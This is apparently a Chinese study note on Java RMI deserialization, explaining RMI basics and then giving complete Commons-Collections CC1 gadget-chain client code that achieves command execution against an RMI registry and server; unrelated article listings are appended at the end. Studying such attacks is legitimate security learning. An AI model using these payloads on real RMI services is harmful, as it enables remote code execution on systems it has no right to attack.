RMI反序列化学习
RMI学习
1、RMI简介
RMI(Remote Method Invocation),远程方法调用方法,其实就是本地java虚拟机要调用其他java虚拟机的方法,两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
如果复现过fastjson漏洞就知道我们的payload经常会携带rmi、jndi等协议。而且对于jdk的版本有要求
基于RMI利用的JDK版本<=6u141、7u131、8u121
基于LDAP利用的JDK版本<=6u211、7u201、8u191
RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
2、RMI的组成部分
Client-客户端:客户端调用服务端的方法
Server-服务端:远程调用方法对象的提供者
Registry-注册中心:RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后也是代码真正执行的地方。
3、RMI的调用过程
3.1、server部署
Server向Registry注册远程对象,远程对象绑定在一个`//hostL:port/objectname`上,形成一个映射表(Service-Stub)
3.2、Client调用
1. Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
2. Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
3. Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。
客户端会通过Stub序列化数据后传输给服务端,服务端会把客户端传输过来的内容反序列化执行。前提是传输的是可序列化对象(Object)

图是用的https://paper.seebug.org/1251/#jdk
4、RMI的基础运用
Server
1、首先要实现一个继承了Remote的接口,并且要抛出RemoteException异常,并且远程调用的方法的修饰符为public,此处的work方法主要用于反序列化利用
package com.akkacloud.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
public String getName() throws RemoteException;
}
2、编写这个接口的实现类,还需要继承UnicastRemoteObject类,大部分方法都是因为继承了UnicastRemoteObject所以实现的
package com.akkacloud.rmi;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
public String name;
protected UserImpl() throws RemoteException{
super();
}
@Override
public Object clone() throws CloneNotSupportedException {
return super.clone();
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
public UserImpl(String name) throws RemoteException {
this.name = name;
}
@Override
public String getName() throws RemoteException {
return name;
}
}
3、编写服务器类
创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
package com.akkacloud.rmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
UserImpl user = new UserImpl("akka");
//创建注册中心,设置端口为1234
Registry registry = LocateRegistry.createRegistry(1234);
System.out.println("registry is runing.....");
//绑定user对象到名字叫user下
registry.bind("user", user);
System.out.println("user is bing");
}
}
4、编写客户端类
package com.akkacloud.rmi;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1234);
User user = (User)registry.lookup("user");
System.out.println(user.getName());
}
}
先开启服务端

再开启客户端调用远程方法

5、RMI的反序列利用
有几种攻击手段,这里只弄了两种客户端攻击的案列,具体可以学习https://paper.seebug.org/1251/#java-rmi-
5.1、客户端攻击注册中心。
需要指定注册的方法bind & rebind
需要使用到RM进行反序列化攻击需要两个条件:RMI的服务端存在执行命令利用链,这里用的是cc1。还有就是jdk版本我用的jdk8u66和commons-collections3.1成功弹窗
服务端的代码不用改变
客户端代码修改如下
package com.akkacloud.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1234);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}

handler是InvocationHandler对象,所以这里在反序列化时会调用InvocationHandler对象的invoke方法,具体就是cc1的相关内容不同的可以学习cc1
5.2、客户端攻击服务端
如果服务端存在接受Object参数的方法时,当服务端接收数据时,就会调用readObject,当然也要存在利用链。
首先我们在服务端添加上 接受Object方法的参数,当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化
接口User添加接受Object类型的方法
package com.akkacloud.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
public String getName() throws RemoteException;
public void addUser(Object user)throws RemoteException;
}
实现类UserImpl添加方法
package com.akkacloud.rmi;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
public String name;
protected UserImpl() throws RemoteException{
super();
}
@Override
public Object clone() throws CloneNotSupportedException {
return super.clone();
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
public UserImpl(String name) throws RemoteException {
this.name = name;
}
@Override
public String getName() throws RemoteException {
return name;
}
@Override
public void addUser(Object user) throws RemoteException{
System.out.println("addsuer:"+this.name);
}
}
服务端一样
package com.akkacloud.rmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
UserImpl user = new UserImpl("akka");
//创建注册中心,设置端口为1234
Registry registry = LocateRegistry.createRegistry(1234);
System.out.println("registry is runing.....");
//绑定user对象到名字叫user下
registry.bind("user", user);
System.out.println("user is bing");
}
}
客户端代码
package com.akkacloud.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1234);
User user = (User) registry.lookup("user");
user.addUser(handler);
}
}

参考链接
https://paper.seebug.org/1251/#registry
https://xz.aliyun.com/t/6660#toc-2
https://www.cnblogs.com/nice0e3/p/13927460.html
RMI反序列化学习的更多相关文章
- PHP序列化与反序列化学习
序列化与反序列化学习 把对象转换为字节序列的过程称为对象的序列化:把字节序列恢复为对象的过程称为对象的反序列化. <?php class UserInfo { public $name = &q ...
- Java安全之RMI反序列化
Java安全之RMI反序列化 0x00 前言 在分析Fastjson漏洞前,需要了解RMI机制和JNDI注入等知识点,所以本篇文来分析一下RMI机制. 在Java里面简单来说使用Java调用远程Jav ...
- PHP Phar反序列化学习
PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...
- weblogic-CVE-2020-2551-IIOP反序列化学习记录
CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...
- 从零开始的pickle反序列化学习
前言 在XCTF高校战疫之中,我看到了一道pickle反序列化的题目,但因为太菜了花了好久才做出来,最近正好在学flask,直接配合pickle学一下. 找了半天终于找到一个大佬,这里就结合大佬的文章 ...
- phar 反序列化学习
前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...
- java中的序列化和反序列化学习笔记
须要序列化的Person类: package cn.itcast_07; import java.io.Serializable; /* * NotSerializableException:未序列化 ...
- Java序列化与反序列化学习(三):序列化机制与原理
Java序列化算法透析 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的 过程.Java序列化API提供 ...
- Java序列化与反序列化学习(二):序列化接口说明
一.序列化类实现Serializable接口 Serializable接口没有方法,更像是个标记.有了这个标记的Class就能被序列化机制处理. ObjectOutputStream只能对Serial ...
随机推荐
- 新建SpringBoot项目报错
新建一个Springboot项目时,当勾选了SQL相关的依赖(如引入了jpa 或MyBatis依赖),直接启动项目时报错 原因:没有配置数据库相关的属性,如 url driver 等 解决办法:在ap ...
- 一文搞懂 SLAM 中的Extension Kalman Filter 算法编程
作者 | Doreen 01 问题描述 预先知道事物未来的状态总是很有价值的! √ 预知台风的路线可以避免或减轻重大自然灾害的损失. √ 敌国打过来的导弹,如果能够高精度预测轨迹,就能有效拦截. √ ...
- UIautomatorviewer连接设备报错Unexpected error while obtaining UI hierarchy
先来看下现象哈,点击sdk/tools下uiautomatorviever.bat,点击连接设备的图标,本以为就这么简单,那你就错了: 是不是看到这个瞬间心情就不好了,那么我们该怎么解决这个问题呢,归 ...
- 《手把手教你》系列基础篇(八十一)-java+ selenium自动化测试-框架设计基础-TestNG如何暂停执行一些case(详解教程)
1.简介 在实际测试过程中,我们经常会遇到这样的情况,开发由于某些原因导致一些模块进度延后,而你的自动化测试脚本已经提前完成,这样就会有部分模块测试,有部分模块不能进行测试.这就需要我们暂时不让一些t ...
- bzoj5417/luoguP4770 [NOI2018]你的名字(后缀自动机+线段树合并)
bzoj5417/luoguP4770 [NOI2018]你的名字(后缀自动机+线段树合并) bzoj Luogu 给出一个字符串 $ S $ 及 $ q $ 次询问,每次询问一个字符串 $ T $ ...
- Java基础(中)
面向对象基础 面向对象和面向过程的区别 两者的主要区别在于解决问题的方式不同: 面向过程把解决问题的过程拆成一个个方法,通过一个个方法的执行解决问题. 面向对象会先抽象出对象,然后用对象执行方法的方式 ...
- C#中的类型转换-自定义隐式转换和显式转换
目录 前言 基础知识 示例代码 实际应用 问题 答案 报错 用户定义的转换必须是转换成封闭类型,或者从封闭类型转换 参考 其他 应用和设计 读音 参考 前言 有时我们会遇到这么一种情况:在json数据 ...
- 使用docker配置laravel5.5环境
简介 简述一下我用docker来配置laravel环境 软件镜像 php:7.2-rc-fpm-alpine mysql:5.6 nginx:1.12.2-alpine 配置环境 Ubuntu:16. ...
- leetcode-3无重复字符的最长子串
题目原题: 给定一个字符串 s ,请你找出其中不含有重复字符的 最长子串 的长度. 示例 1: 输入: s = "abcabcbb" 输出: 3 解释: 因为无重复字符的最长子串是 ...
- JDK,JRE,JVM的作用及关系
1.作用 JVM:Java虚拟机,保证Java语言跨平台 JRE:Java程序的运行环境 JDK:Java程序的开发环境 2.关系 JRE:JVM+类库 JDK:JRE+工具